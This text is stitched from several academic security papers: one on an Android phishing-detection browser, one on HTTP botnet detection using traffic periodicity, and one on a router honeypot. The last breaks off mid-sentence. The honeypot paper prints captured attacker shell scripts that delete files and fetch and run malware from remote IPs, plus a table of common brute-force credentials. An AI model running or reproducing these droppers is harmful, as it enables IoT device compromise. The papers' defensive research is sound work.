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STAGE 1: URL Extraction
A background activity is created to extract URL the user is trying to access using the
browser installed on the android device. The background activity is responsible for
extraction of the URL through the browser input box. This URL will be used further
for classification.
STAGE 2: Static Analysis
Adatabase will be created that includes blacklisted URLs. These blacklisted URLs
will be obtained from PhishTank (online phishing URL database). The URL extracted
in stage 1 is compared if present in the database. If the URL is found in the database
then user is alerted that the requested URL is not safe for browsing.
STAGE 3: Web page Foot printing
In this phase the html content of the extracted URL is analyzed. HTML features like
presence of login forms, frequency of hyperlinks to external domain, number of
pop-up are collected to generate feature vector.

• Login forms
If the HTML content shows the login form code then the fields requested in the
form are analysed. A typical login form consists of Username and password as
required fields. If login form fields include other than the basic content then flag is
set as 1.

• Frequency of hyperlinks to external domain
Phished URLs have domain name other than the legitimate website. When the
attacker creates a fake website they copy the HTML source code of the genuine
website. Attacker does not change all the hyperlinks included in that page. If the
frequency of hyperlinks to external domain is greater than the home page domain
name the alert flag is marked as 1.

• Pop-up
If the number of pop-up on the webpage is more than 5 then the alert flag for pop-up
is set [16].

STAGE 4: URL Based Heuristics
In this stage external features and lexical features of the URL are analyzed. External
features are those that are extracted from remote servers and lexical features are
extracted from the URL string itself. External features considered in our approach are
Google Page Rank, Alexa Rank and age of the domain. Lexical features like number
of dots (.) in the URL, presence of @ in the URL and number of hyphens (-) in the
URL are taken into consideration. @ is a very rare special character that appears in
genuine URLs.

External Features. Google Page Rank, Alexa Rank and Age of the Domain are
calculated from external sources google toolbar services, Alexa data and WHOIS query
response system.
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Lexical Features. Number of dots (.), Presence of @, Presence of hyphen (-) in
domain name, Length of the URL, IP Address as URL these features are analyzed and
the flag is set accordingly.

STAGE 5: Classifier
A feature vector is generated using previous stage outputs. Classifier is generated
using training data. Using data of phished URLs from Phishtank and white listed
URLs from DMOZ directory the classifier is trained to classify unknown samples.
SVM Classifier can be used since it is more accurate and performs efficiently in
presence of outliers.
The system is implemented as a background activity that creates the feature vector for
unknown samples and sends it to the SVM classifier for classifying it as Phishing or
Legitimate.

4 Experimental Evaluation

We evaluated the above system by collecting the dataset of phishing and genuine
website URLs. In training phase the classifier was trained using dataset of 200 phishing
URLs for 10 selected features. We performed 5-fold-cross-validation on this dataset for
training and testing. To analyze the performance of the system 200 phishing websites
were collected from PhishTank dataset and 200 legitimate websites from DMOZ
directory. PhishTank is a free community site where anyone can submit, verify, track
and share phishing data. PhishTank is an anti-phishing site that was launched by
OpenDNS [18].

This dataset was used to analyze the performance and accuracy of the system. The
performance of the system is measured using parameters like True Positive Rate (TPR),
False Positive Rate (FPR), Accuracy and Precision were calculated. Accuracy measures
the overall percentage of whole correct predictions. Precision measures the ratio
between true positive and total number of samples. Precision is a description of random
errors, a measure of statistical variability. Below are the formulas given for these
performance metrics [13].

TPrate ¼ TP
ðTPþFNÞ

FPrate ¼ FP
ðTPþFPÞ

Accuracy ¼ ðTPþ TNÞ
½ TPþFPð Þþ ðTN þFNÞ�

Precision ¼ TP
ðTPþFPÞ
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The performance of proposed system i.e. My_Phishing browser was compared with
default google chrome browser on MotoG3 and google chrome on desktop. Out of 200
phishing website URLs 184 were correctly identified by our system. Google chrome for
mobile devices detected 103 and desktop version detected 176 as phishing sites. From
the dataset of 200 white listed URLs collected from DMOZ directory 15 were incor-
rectly classified as phishing by My_Phishing browser. There was no incorrect white-
listed URL classification in Google chrome for desktop and mobile device. Table 1
shows the values of the performance metrics of all the three browsers.

The True positive rate (TPR) for proposed system, Google chrome for mobile
device and Google chrome for desktop is 0.9, 0.51 and 0.88 respectively. Zero False
positives were detected for chrome browsers on both mobile and desktop. False pos-
itive rate obtained for the proposed system was 0.07. Accuracy is greater in imple-
mented system as compared to the accuracy of google chrome for mobile devices
(Fig. 2).

Figures 3, 4 and 5 show the comparison of the performance metrics for the all the
three browsers. It was found that some websites were blocked on Google chrome
desktop browser but were allowed to visit on mobile version of google chrome
browser. Similarly there were few fake websites that were allowed to visit on desktop
browser as well thus making it vulnerable to zero day phishing attack. Figure 5 shows
that the precision of the proposed system is low as compared to other systems. The
reason for this shortfall is that FPR of google chrome desktop and mobile browser is
0 and 0.09 for the proposed system.

Table 1. Performances of the browsers.

Browser TPR FPR Accuracy Precision

My_Phishing 0.92 0.07 92.25 0.92
Chrome_mobile 0.51 0 75.75 1
Chrome_desktop 0.88 0 94 1
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Figures 6, 7 and 8 shows the results of the proposed system detecting the phishing
site for PayPal. The figure shows that the site was allowed to visit in the google chrome
browser for both desktop and mobile but was detected correctly in the proposed system.

Fig. 6. Mobile browser allowing phishing site

Fig. 7. Desktop browser allowing phishing site

468 S.P. Chorghe and N. Shekokar



5 Conclusion and Future Work

The prime objective of developing this system was to improve the security of mobile
devices with android operating system against the phishing attack. Mobile devices were
selected as platform to implement this system since the use of mobile phones has
increase rapidly. The proposed system succeeds in detecting phishing where google
chrome for desktop and mobile fail to do so. The sites reported in PhishTank are later
blocked by the chrome browser which proves the proposed system is capable of
detecting zero day phishing attack. It provides wider protection as compared to the
default browsers that are pre-installed on the mobile devices. Static analysis, URL
based heuristics and use of machine learning algorithm helped to get accurate results
and thus increase the protection. The system was implemented and tested on Moto G3
android device running on Android version 6.0.1. Our experimental evaluation shows
that the system is capable of detecting suspicious websites effectively.

In future the system can be integrated with Weka tool for android to get optimized
algorithm to classify the websites. Additional heuristics like network analyzer results
also can be included while generation of feature vector. There were few websites that
were incorrectly classified as phishing in the proposed system. Improvement can be
done so as to minimize the number of false positive i.e. genuine URLs classified as
phishing. In addition to this the technique proposed in this system can be integrated
with the Android Framework in future.
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Abstract. Botnets are networks that are composed with a set of compromised
machines called bots that are remotely controlled by a botmaster. They pose a
threatening remark to network communications and applications. A botnet relies
on its command and control communication channel for performing attacks. C2
traffic occurs prior to any attack; hence, the detection of botnet’s traffic helps in
detecting the bots before any real attack happens. Recently, the HTTP based
Botnet threat has become a serious challenge for security experts as Bots can be
distributed quickly and stealthily. The HTTP Bots periodically connect to par-
ticular web pages or URLs to get commands and updates from the Botmaster. In
fact, this identifiable periodic connection pattern has been used to detect HTTP
Botnets. This paper proposes an idea for identifying bots that exhibit non
periodic nature as well normal traffic that exhibit periodic nature. The proposed
method reduces the false positive rate as well as increases the detection rate. For
that a set of traffic features are taken from many detection methods and feature
selection is made on these features. Feature selection helps in enhancing the
detection rate of the bot traffic in the network. For performing feature selection
Principal Components Analysis is chosen. Top ranked features from PCA are
added to existing work. Result shows improvement in detection rate and
reduction in false positive rate.

Keywords: Botnet � C&C server � Periodicity � Bot � HTTP

1 Introduction

Nowadays, threat to network security has been increasing. There are many attacks such
as spamming, distributed denial of service (DDoS) and phishing which have become
commonly on the network. Nowadays attackers use high-speed network connections in
order to perform disruptive attacks that would infect the machines and harness their
processing power over the Internet. Attackers develop new methods to infect the
machines from different location as well as to avoid being detected, it is necessary to
develop an efficient method to detect the malicious activities of attacker and prevent
these epidemics of infection of host on network [1].

Botnets is a network of infected machines called the bots. Bots are the malicious
program that is installed on the vulnerable host to perform malicious activities.
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Such programs can be installed on the vulnerable host in many ways, by downloading
malicious files, by accessing infected sites etc. Bots are typically configured so that
each time when the user boots their machine the bot is initialized. Once the bot is
initialized they are ready to perform malicious actions by receiving commands from
their master called botmaster or botherder. Bot communicates with their master through
a channel called command and control (C&C) channel. The C&C channel is what that
distinguishes the bot from other type of malware. Also in command and control
communication channel, the traffic occurs before the attack execution and can be
considered as the efficient communication between the different members of a botnet
[2] which makes the detection of Command and control communication channels traffic
makes interest as it can detect bots before any targeted victim is attacked.

The Botnets’ C&C channel mechanism has been continually evolving over several
architectures (e.g. Centralized, P2P, and Hybrid) and different protocols (e.g. IRC,
HTTP) to create more sophisticated, robust and stealthy communication models. For
instance the standard HTTP protocol and port 80 is being used by one of the latest
generation of Botnets to imitate the normal web traffic and bypass the current network
security systems. The periodic nature of HTTP Botnet communications with their
command and control servers can lead them to be detected [3]. This work measures the
periodicity of HTTP and web based activities that can be used as a metric in HTTP
Botnet detection and thereby identify the presence of bot in the network.

As an enhancement to this work, two challenges are met. The first challenge is that
a normal traffic showing the periodic behavior and the second challenge is the bot
showing non periodic behavior. To overcome these challenges feature selection is
made. For that different features specified in each detection system is collected. It is
most important to choose the relevant set of attributes among them. The traffic feature
contains both relevant and irrelevant set of features. Only relevant set of features helps
in efficient detection. In order to identify the relevant set of features from the collected
feature set, relevance analysis is made. Several relevance methods are present. Among
them the most commonly used method is Principal Components Analysis (PCA). PCA
is the analysis of data to identify patterns and finding patterns to reduce the dimensions
of the dataset with minimal loss of information. The output of PCA is a set of relevant
features. Among them top ranked features are chosen. The result shows improvement
in detection rate and reduction in false positive rate.

The remainder of the paper is organized as follows: Sect. 2 gives an overview of
related work. Section 3 gives our approach of detecting bots in the network. Then the
experimental evaluation is given in Sect. 4 and the paper is concluded and future work
is given in Sect. 5.

2 Related Works

There are many botnet detection techniques available which helps to detect the pres-
ence of bots in the network. Network based detection method is the one of the efficient
method in detecting bots [2]. Several studies were conducted in this area to detect and
to understand the behavior of botnet [3]. During earlier times, honeypots were set up in
the network which helps to capture the malware and is used to understand their
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behavior [4]. Detecting and analyzing of botnet based on passive monitoring of net-
work are useful, these techniques can be further classified into signature-based tech-
nique, anomaly based technique, DNS-based technique and mining-based technique.
Signature-based detection techniques were used for detecting only known form of bots,
but they are not useful for detecting unknown bots [4]. Anomaly-based detection
techniques tries to detect botnets based on different network traffic anomalies such as
high volume of network traffic, higher latency in the network, traffic on ports that are
unusual and unusual system behavior which indicate the presence of bots in the net-
work [6]. Host-based botnet detection begins with client-side antivirus protections,
because the penetration itself always occurs through malware. But anti-virus technol-
ogy fails in finding infections, so administrators should also be on the lookout for
additional issues [7]. DNS detection techniques use DNS information of the botnet.
Bots execute DNS queries for locating their Command and Control server. In this way
by using DNS traffic, bots can be detected [7]. Several data mining techniques like
machine learning, classification, clustering etc. can be used to efficiently detect botnet.
In network based detection technique, network traffic are analyzed for botnet detection.
Traffic behavior analysis methods can work with encrypted channels. Bots show
similarities in there traffic which helps in detecting them from the normal traffic. The
common features that established by the bot within a botnet are their uniformity of
traffic behavior, communication behavior etc. whereas Network based techniques uses
encryption algorithms and is cheaper than other approaches [2].

3 Botnet Detection Based on Periodicity of Traffic

Botnet communication behavioral pattern falls into more categories such as
non-periodic, weakly-periodic and strongly periodic based on the periodicity of HTTP
Botnets command and control communication both with random and fixed intervals
and regardless of the Botnet size and scale. Architecture of the proposed system is
given in Fig. 1. First data preparation and grouping is done on the captured HTTP
traffic and then divided it into different groups based on the source and destination IP
address [11]. After converting into groups three metrics were computed for classifying
and identifying periodic HTTP communication patterns.

• Periodic Factor (PF): The Periodic Factor or PF is a numeric metric which measures
the periodicity of botnet traffic where bots frequently contact with their botmaster to
receive new updates and commands. To calculate the PF the total traffic collection
time is divided into number of time windows (tw) with equal duration which have
presented earlier in previous study [12]. Consider the Ts and Te as the start and end
time that packet capturing begins and ends. The time windows can be represented as
[Ts, T1], [T1, T2],…,[Tn, Te]. The length of each time window plays an important
role in the accuracy of the behaviour analysis. Accordingly, as proposed in [12] a
group can be considered as periodic if a particular flow can be observed in all of the
time windows. To formulate the aforementioned concept a metric called PF can be
calculated for each flow activities using formula (1).
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PF ¼
Pn

tw¼1 O
n

ð1Þ

where n is the number of time windows and O is a binary value to indicate the
observation of particular communication in time window. For each time window the
O value of a group is 1 if and only if a communication is observed and otherwise 0.
In short activities are considered periodic if the PF is equal to 1, weak periodic if it
is between 0.5 and 1 and it is non periodic if the PF is less than 0.5.

• Range of absolute frequencies (RF): The range of absolute frequencies or RF is
used to measure the similarity of group members’ density in time windows. This is
to determine whether the same number of requests was generated by a flow in each
time window or not. To calculate the range of frequency of a flow we should
identify the absolute frequency of associated activities for each time window. The
absolute frequency simply refers to the count of a particular event that has occurred
in a category [13]. An RF value of 0 means that an equal number of requests is
generated by a group in each time window. On the other hand, having a value of RF
greater than 1 indicates that different numbers of requests were generated in each
time window.

Fig. 1. Flow diagram of detecting botnet
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• Time sequence factor (TF): Finally, the time sequence factor or TF is a binary value
that defines whether the group activities occurred with fixed or random interval.

TF ¼ 1; for fixed interval
0; for random interval

�

ð2Þ

For each group we form a sequence of request timestamps. The interval is considered
as random if the difference between two successive timestamps is not a constant value
as shown in Eq. 2.

Finally, a periodic pattern classification is done using one of the most common and
simplest classifiers that have been widely employed by several studies on anomaly and
Botnet detection [14].

In current studies, the HTTP traffic was divided into different categories such as
periodic, weak periodic and non-periodic which may not be sufficient enough to detect
all types of malicious activities. Moreover, a Bot command and control communication
may disappear in some time windows for many reasons such as being in idle mode or
having larger intervals compared to the time window length. Finally, a Bot might
execute a command sent by the Botmaster to sleep for a period of time to avoid current
detection solution [15].

For instance, if users keep using normal auto refresh web sites constantly over a
long period of time or accessing a particular site frequently, it may generate the same
pattern as generated by HTTP Botnets. Moreover, a wide range of real normal appli-
cations such as Gmail sessions, automatic refresh pages etc. generate the same periodic
pattern in their connections. Thus, the three metrics that explains the periodicity alone
is not sufficient to be used as factor in HTTP Based Botnet detection. In fact, the
periodical pattern communication must be used as a complementary factor besides
other packet or flow features to generate more accurate. For that different header related
traffic features are collected from different detection methods.

After collecting these features relevance analysis is made. Relevance analysis helps
in removing irrelevant features. Fifty to hundred features are there. So it is necessary to
identify the highly relevant features from them. For identifying such features relevance
analysis can be made. Recognition of most important variables reduces redundancy.
Feature selection helps in identifying and removing irrelevant attributes that decrease
the accuracy of the model. Irrelevant attributes causes over fitting and also increases
complexity.

For performing relevance analysis weka’s implementation of Principal Component
Analysis or PCA [14] is used. The objective is to improve the overall accuracy and
detection rate of the existing system by adding the top set of new relevant features on to
the existing system. The feature protocol is eliminated through PCA. This is because
bots also make use of standard protocols for their communications nowadays. This
makes the feature protocol to be irrelevant.

The top ranked features such as byte count, packet count and duration are added to
existing work. Classification is made based on these new set. The result shows
improvement in detection rate and reduction in false positive rate.
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4 Results and Discussion

In this section, experiments are carried out to overcome the challenges faced by the
previous work. Experiments are conducted on lbnl and CTU 13 dataset [16] containing
normal and bot traffic respectively. The open source implementation of C4.5 decision
tree algorithm called J48 is used in this paper since it is efficient and well-established.
Moreover, the large datasets and scenarios proposed by Garcia et al. [15] relate well
with our normal and Botnet datasets from previous studies [5, 11] used to train and
build our decision model. Experimental results show that the proposed method is
having detection rate and more efficient than the existing method. Different set of
features are specified in many detection systems [16–19].

Using the real dataset, we evaluate the detection rate and false positive rate and then
we evaluate the same for both non periodic bot traffic as well as periodic normal traffic.
The summary of the results are shown in Table 1.

In the original dataset, the detection rate before applying the extracted count fea-
tures and duration is 85 and the false positive rate is 0.163 and after applying the
extracted features the detection rate increases to 96 and false positive rate reduces to
0.010. In the first challenge that is the normal traffic showing periodicity, the detection
rate before applying the extracted count features and duration is 85 and the false
positive rate is 0.118 and after applying the extracted features the detection rate
increases to 96 and false positive rate reduces to 0.025. In the second challenge that is
the botnet traffic showing non periodic nature, the detection rate before applying the
extracted count features and duration is 80 and the false positive rate is 0.166 and after
applying the extracted features the detection rate increases to 95 and false positive rate
reduces to 0.041.

5 Conclusion

The periodicity of HTTP and web based activities can be used as a metric in HTTP
Botnet detection and thereby identify the presence of bot in the network. Here a method
is proposed that consider the periodic behavior in network traffic and meets two

Table 1. Results from analysis

Proposed system False positive rate Detection rate (%)

Original traffic (bot + normal) 0.163 85
Original traffic (bot + normal) after adding attributes 0.010 96
Normal traffic before adding attributes (periodic) 0.118 85
Normal traffic after adding attributes (periodic) 0.025 96
Bot traffic before adding attributes (non periodic) 0.166 80
Bot traffic adding attributes (non-periodic) 0.041 95
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challenges. The first challenge is that a normal traffic showing the periodic behavior
and the second challenge is the bot showing non periodic behavior. To overcome these
challenges feature selection is made on a set of collected traffic features from different
detection methods. PCA is used for feature selection. Features such as packet count,
byte count, and duration of communication are obtained as the top relevant features
from PCA and then performs a classification. By adding the new features we can find
the false positive rate reduces as well as increase in detection rate. This shows that the
new features from PCA play an important role in correctly classifying the bot traffic
from normal. As an extension to this work, it can be carried out on different bot
families.
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Abstract. In this paper we have presented the results of Honeypot deployment
in broadband networks. The objective is to capture and characterize the attacks
targeting broadband networks. To capture these attacks we have identified six
different Honeypot deployment scenarios for the broadband networks. These
deployment scenarios are categorized based upon their network requirements,
effect on the underlying networks and the type of data captured.
To demonstrate the effectiveness of the Honeypot deployment in broadband

networks we have implemented one of the most common scenario which
emulates the IoT device (ADSL router). The details of the attack data captured
using Honeypot emulating IoT device along with the detailed analysis results are
presented in this paper.

Keywords: Honeypots � IoT � Attack analysis

1 Introduction

In recent attack surveys and threat reports, it was observed that there is a substantial
increase in the number of attacks targeting broadband networks [1, 9, 11, 13]. These
attacks are interesting in nature as the scope of their targets is not limited to the
conventional internet resources. In fact these attacks target a completely different class
of embedded devices popularly known as IoTs (i.e. ADSL routers [8, 10], home
appliances, refrigerators [3], CCTV cameras [2, 12], set-top boxes [14]). The reason
behind these IoT devices being largely targeted is the fact that the owners of these IoT
devices never suspect these devices to be compromised and hence are least concerned
about their security making these deceives an easy targets. The attackers looking for
mass infections search for these IoT devices compromise them, recruit them in the
botnet networks and later use them for malicious activities such as DDoS, Spamming
etc. [3, 12].

The presence of internet address ranges with high density of vulnerable IoT devices
is one of the prime factor responsible for large number attacks specifically targeting
broadband networks [1, 9, 13]. Other factors which contributes in making Broadband
subnets popular among attackers are (1) High bandwidth availability (2) 24 � 7
internet connectivity (3) lack of awareness and technical knowhow among home users
(Based upon survey [4] 50% of SOHO devices are with the default configuration). Also
most of these IoT devices functions outside the scope of conventional network attack
detection mechanisms (i.e. Anti-viruses, IDS, IPS etc.) and the attacks targeting these
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devices are mostly of indirect nature (i.e. drive by pharming [17], HTTPS striping
attacks [5], Shell shock exploits on ADSL router [23] etc.). All these factors makes
these attacks hard to detect and hence difficult to prevent using conventional passive
security tools and techniques.

Characterization of the attacks targeting broadband networks is the first step
towards their detection and mitigation. To characterize these attacks we need to first
capture them and in this Honeypots could be very helpful. Honeypots are widely used
for capturing internet attacks and providing the firsthand, extensive information
regarding the captured attacks. Hence a systematic deployment of the Honeypot sen-
sors in broadband subnets will help to capture the latest attacks targeting the broadband
networks.

Based upon the study of various attack propagation vectors used by attackers
targeting broadband networks we have identified six possible Honeypot deployments
scenarios for broadband networks. In the work presented in this paper we have
explained all the six deployment scenarios along with their capturing scope and
resource requirements. To demonstrate the effectiveness of Honeypot deployments in
broadband networks we have implemented one of the six deployment scenarios. The
details of the attack data captured along with its analysis results are also presented in
this paper.

2 Literature Survey

Now a days attackers are targeting IoT devices connected with the broadband net-
works. This trend has been observed in the past few years and because of this there is
an exponential rise in the number of malwares targeting the IoT device. As per the
threat reports published by MacAfee [20] and PandaLabs [21] around 1.2 million
malware samples yearly and around 230, 00 different samples daily were captured in
2015, targeting the IoT devices. [19]. The malware targeting IoT devices look for mass
infections and hence supports multiple operating system platforms and a wide range of
CPU architectures (i.e. ARM, MIPS/MIPSEL, PPC, and SH4). The most famous attack
on IoT in recent months was Check Point’s so-called Misfortune Cookie discovery in
December 2014. This vulnerability discovery has an impact on 12 million routers
across 200 models from big names such as Linksys, D-Link, TP-Link, ZTE, and
Huawei [19]. The famous Lizard squad knocked down the Sony and Microsoft gaming
networks using thousands of compromised CCTV devices. They offered denial of
service stresser service as a paid service on dark web that operated on thousands of
hacked boxes [2]. In one of the world’s biggest attack recently launched against an ISP
in Mumbai attacker performed a huge DDoS attack of a magnitude of 200 gigabytes
requests per second [18]. All these incidents gives a clear indication of the reach and
the severity of the attacks performed using malware targeting IoT devices.

The history of the malware targeting the IoT devices goes way back in 2009 when
an Australian security researcher Terry Baume discovered the first sample of Psybot
[7]. Although it was written for research purposes and as a Proof of concept for the
testing the exploitability of the embedded devices but it compromised over 80,000
devices before it was shut down by its author. After PSYBOT 2.5 there has been a
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rapid evolution in the capabilities of the malware families targeting embedded devices
connected with broadband networks. The PSYBOT 2.5 has very limited capability
whereas the later versions PSYBOT 2.9 and Chuck Norris [1] bots were having
advance features such as code obfuscation and ability to launch new attacks. Further
chuck Norris botnet was found to be specifically targeting network segments belonging
to the broadband internet providers.

Worldwide efforts have been made to mitigate threat posed by these attacks tar-
geting the embedded devices connected with the broadband networks [27–29]. Most of
these projects harness the potential of Honeypot technologies for capturing, of the
network attacks. The projects such as CCC Japan [24], Wind-catcher [25], and
Honeybox [26] are specifically addressing the problem of broadband networks attacks.
The CCC japan project is focused on cleaning the bot infections in Japan’s broadband
network where as Windcatcher is using ADSL Honeypot which acts as a gateway and
is placed between user’s system and ADSL modem.Yin.Minn.PA.PA et al. [22] has
also developed an Honeypot system and a sandbox for capturing and analyzing attacks
targeting IoT devices. Their Honeypot and sandbox supports a wide range of CPU
architectures (i.e. ARM, MIPS, and PPC etc.). They have deployed this Honeypot for
88 days and captured around 106 malware samples (ELF format). Similarly Waylon
Grange et al. [9] have deployed an arm based embedded Honeypot emulating ADSL
routers and CCTV cameras. Using this setup they have claimed to capture attack data
belonging to three major botnet campaigns.

In the work presented in this paper we have suggested six Honeypot deployment
scenarios for capturing various targeted attacks on broadband networks. Out of these
six deployment scenario we have implemented the IoT Honeypot deployment scenario.
The IoT Honeypot developed and deployed by us uses finite state machines to emulate
ADSL router services and vulnerabilities. The router Honeypot emulates (1) Telnet,
(2) SSH, (3) HTTP and (4) SIP services along with their vulnerabilities. We also claim
that the IoT Honeypot developed by us is more effective than the Honeypots developed
by Yin.Minn.PA.PA et al. [22] and Waylon Grange [9] as it has a wider attack surface.

3 Honeypot Deployment Scenarios

Based upon the literature survey and experimentation six Honeypot deployment sce-
narios have been identified for capturing attacks targeting the broadband networks.
These Honeypot deployment scenarios have been classified based upon the placement
of Honeypots, types of Honeypots, attacks propagation vector and data type captured
by them. The brief detail of each deployment scenarios and the nature of the data
captured by them is given below:

Deployment scenario 1 (Active Honeypot behind NAT): This deployment scenario
doesn’t require any configuration changes at the ADSL router. This deployment sce-
nario captures attacks which propagates using drive by download technique and target
the SOHO environments.

Deployment scenario 2 (Active Honeypot + Passive Honeypot behind NAT): In
this scenario controlled environment is created using a combination of high and low
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interaction Honeypots. The objective of this deployment scenario is (1) to capture the
Drive by Pharming [17] kind of attacks and (2) to observe the post infection behavior.

Deployment scenario 3 (Passive Honeypot): In this scenario the ADSL router is
configured with DMZ mode. By doing this we redirect all the traffic for the public IP of
ADLS router’s WAN interface towards Honeypot. This deployment scenario captures
Malware sample, scans targeting broadband subnets Public IP, attacks propagating in
same subnets by infected systems (Neighborhood infection).

Deployment scenario 4(Web Honeypot): This kind of deployment emulate the SOHO
environment where small organization deploy their web servers on the broadband
networks. In these deployments there is a requirement of a static IP from the broadband
service provider and the ADSL router has to be configured to either PORT forward the
traffic of port 80 or in the DMZ mode. This deployment scenario captures web
application attacks, scans targeting broadband subnets and attacks targeting the WAN
web interface of IoT devices [23].

Deployment scenario 5 (ADSL Router Honeypot): These Honeypots emulate ser-
vices running at ADSL router’s WAN interface (i.e. telnet, SSH, UPNP etc.). This
scenario captures attacks targeting IoT devices [14, 15, 19].

Deployment scenario 6 (Darknet monitors): Darknet is a range of the unused IP
addresses that is being monitored for collection of attack data. This deployment sce-
nario requires participation of the ISP as it requires ranges of unused IP address in the
broadband network. This deployment scenario captures attack trends on broadand
networks/scans & probes.

To demonstrate the effectiveness of Honeypot deployment in broadband networks
we have implemented the fifth deployment scenario (ADSL Router Honeypot). The
reason behind implementing this deployment scenario is the fact that these days there is
a rise in the attacks targeting the IoT devices.

4 Router Honeypot

Router Honeypot developed by us is a low interaction Honeypot which emulates
vulnerable services of the broadband routers using finite state machines. We have
emulated the Linksys (Belkin) E-series routers profile running (1) Telnet, (2) SSH,
(3) SIP & (4) HTTP services on its WAN interface. In reality the Lynksys (Belkin)
E-series router don’t have as many open ports, we have selected these services based
upon the literature survey of attacks targeting IoT devices [13–15].

In this deployment scenario the ADSL router (Broadband router) has been con-
figured to redirect the traffic for public IP of its WAN interface towards the Router
Honeypot. We configure the ADSL router in DMZ mode in this mode the ADSL router
becomes just an intermediate proxy between the router Honeypot and the attacker. All
the traffic from attacker is directed towards the router Honeypot. Figure 1 shows the
block diagram of Router Honeypot system developed by us and having following
modules.
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Module 1: The module M1 emulates the vulnerabilities in the network services. The
network services are modeled using finite state machines with vulnerable states. Each
request from attacker derives the FSM from one state to another. The Honeypot has
been designed keeping in mind the dynamic nature of the attacks. Hence these FSM are
saved as XML files which could be edited to support the emulation of new vulnerable
states without recompiling the code.

Module 2: Module M2 is similar to module M1 except it emulates the services that are
targeted by brute force attacks and the attacker use to gain the shell. This module has an
extra shell emulation module which emulates the command shell of the busybox
operating system.

Module 3: is a module which use to execute the malware download attempts captured
by the module M1 and module M2.

Module 4: is the shellcode detection module. It uses the open source libemu library
which uses the GetPC heuristics [16] for the detection of the shellcode payload. Most
of the time these payloads consist commands to download the malware binary from egg
download sources. If any such command is discovered in the shellcode payload the
module 4 calls the module 3 to download the malware sample.

Logging Mechanism: The logging mechanism augment the IP addresses of the
Indicator of compromises with the details such as (Country, ISP, AS router number,
source operating system etc.). This data is logically fused with the data captured source
and is converted in to relational database format. Analysis results.

Fig. 1. Router honeypot block diagram
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5 Captured Data and Analysis Results

We have collected 25 GB of network data in PCAP Format having 108127 TCP
connections from 31121 unique IPs and 913 unique malware samples for a deployment
duration of four months. We processed this 25 GB PCAP data by segregating it based
upon the network protocols. In 108127 TCP connections (we are not considering UDP
connections) 69382 connections were for SSH protocol, 13624 connections for Telnet,
3193 connections for HTTP and 21928 connections were for SIP protocol. We cor-
related these connection logs with the system logs obtained from the Finite state
machine based protocol emulation engines. This correlation sifts out successful attacks
(1500 successful attacks) from unsuccessful attempts and scanning activities. The
hence obtained 1500 attacks were mainly comprising of brute force attacks on SSH,
Telnet, SIP protocols and shellshock vulnerability exploit attempt on port 80. Fol-
lowing case studies present some of the interesting findings from the captured data.

Case study 1: Most of the attacks captured by router Honeypot on telnet port were
brute force attacks. Table 1 shows top 10 most frequently used username, password
combinations along with their frequency.

In most of the attack instances (859 instances), after performing successful brute
force the attacker use to execute a shell script to download the malware samples.

Table 1. Details of username password combinations used by attacker

Username Password Hits

Root Root 3327
Admin Admin 2603
Support Support 2018
Root Admin 1466
Admin Password 1070
Root 123456 1039
Ubnt Ubnt 927
User User 637
Guest Guest 592
Admin Default 435

cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;busybox 
wget  http://5.196.X.X/bin.sh;sh bin.sh;busybox tftp -r bin2.sh –g 
5.196.X.X;sh bin2.sh;busybox tftp 5.196.X.X -c get bin3.sh;sh 
bin3.sh;busybox ftpget 5.196.X.X bin4.sh bin4.sh;sh bin4.sh;exit

Fig. 2. Phase 1 Shell script
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Whereas there were few attack instances (138 instances) in which attacker has used
multiple scripts for malware download. In such attack instances attacker first executes a
script which downloads and executes a secondary shell script. The secondary shell
script when executed downloads the malware samples. Figure 2 shows the phase 1
script which downloads bin.sh script a secondary script. The secondary script bin.sh
when executed downloads the malware sample from egg download source. Figure 3
shows the secondary script downloaded by primary script. The malware downloader
module parses the second phase shell script bin.sh, extracts the wget\ftp\tftp\http
command arguments and download the malware using libcurl library. In this case the
malware downloader module has downloaded a set of five malware sample (10, 11, 12,
14, and 16).

The attackers downloads multiple instances of malwares to ensure that the right
version of malware gets installed. All these instances were written to infect different
CPU architectures (i.e. ARM, MIPS/MIPSEL, PPC, SH4 etc.).

Malware Analysis results: We passed all the five samples through Antiviruses listed
at VirusTotal [6] and labeled them accordingly. The detection ratio of these malware
samples turned out to be 12/42 that shows that these samples are relevantly new. Two
of the malware samples (10, 11) were labeled as Linux/Fgt.BF and three of them
(12, 14, and 16) were labeled as HEUR: Backdoor.Linux.Gafgyt.e. We run the Linux
file command to know the file structure of the malware samples. The malware files
turned out to be in ELF MSB executable format and were for MIPS and MIPS 1
architectures. We checked for the presence of any obfuscation (i.e. packers and
cryptors) using byte distribution based technique. These files turned out to be not
obfuscated and hence during the embedded artifact extraction phase of these files we
found three hardcoded IP addresses in the code. One of the IP we observed was of the
google DNS server where the other two IPs were later confirmed as the C&C server
and egg download source IP during the dynamic analysis. During dynamic analysis of
malware samples it was observed that these malware have the ability to self-replicate
and propagate using telnet brute force attack. Further these malware have bot capa-
bilities and they communicate with their C&C server using HTTP protocol. When
activated the malware initializes itself by first extracting the current time and PID of its
running process and uses it as a seed. It then verifies the internet connectivity by
communicating with googles DNS server. After initialization the malware initiates the

#!/bin/sh cp /bin/busybox ./busybox wget http://92.X.66.214/10;busybox cat 
10 > busybox;rm 10;busybox chmod 777 busybox;./busybox busybox wget 
http://92.X.66.214/11;busybox cat 11 > busybox;rm 11;./busybox busybox wget 
http://92.X.66.214/12;busybox cat 12 > busybox;rm 12;./busybox busybox wget 
http://92.X.66.214/14;busybox cat 14 > busybox;rm 14;./busybox busybox wget 
http://92.X.66.214/16; busybox cat 16 > busybox;rm 16;./busybox

Fig. 3. Phase Shell script
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communication with the C&C server whose IP address is hardcoded in the malware
code. C&C server replies with a 4096 buffer removing space at the beginning and at the
end of it. The malware supports three classes of C&C commands (1) communication
commands (2) propagation commands (3) flooding commands. Malware uses telnet
brute force attacks for propagation and has the capability to perform TCP, UDP, HTTP
and JUNK flooding attacks based upon the commands from C&C server.

Case study 2: We also captured multiple samples of XOR.DDoS malware, a Linux
based botnet which propagates by performing Brute force attack on SSH service. The
propagation technique followed by XOR.DDoS malware is different from the one
discussed in case study 1 as it first runs the multiple checks on victim’s Linux machine
to confirm the architecture and then it drops the appropriate version of bot malware.
Figure 4 shows the script executed by the XOR.DDoS to check the system configu-
rations and upload the appropriate version of the malware.

The above script runs system commands (i.e. cat/proc/cpuinfo, ps –ef/ps –aux,
netstat –ano, cat/proc/version, cat/proc/modules) to check the system’s configurations
and then downloads appropriate XOR.DDoS malware instances. The XOR.DDoS is an
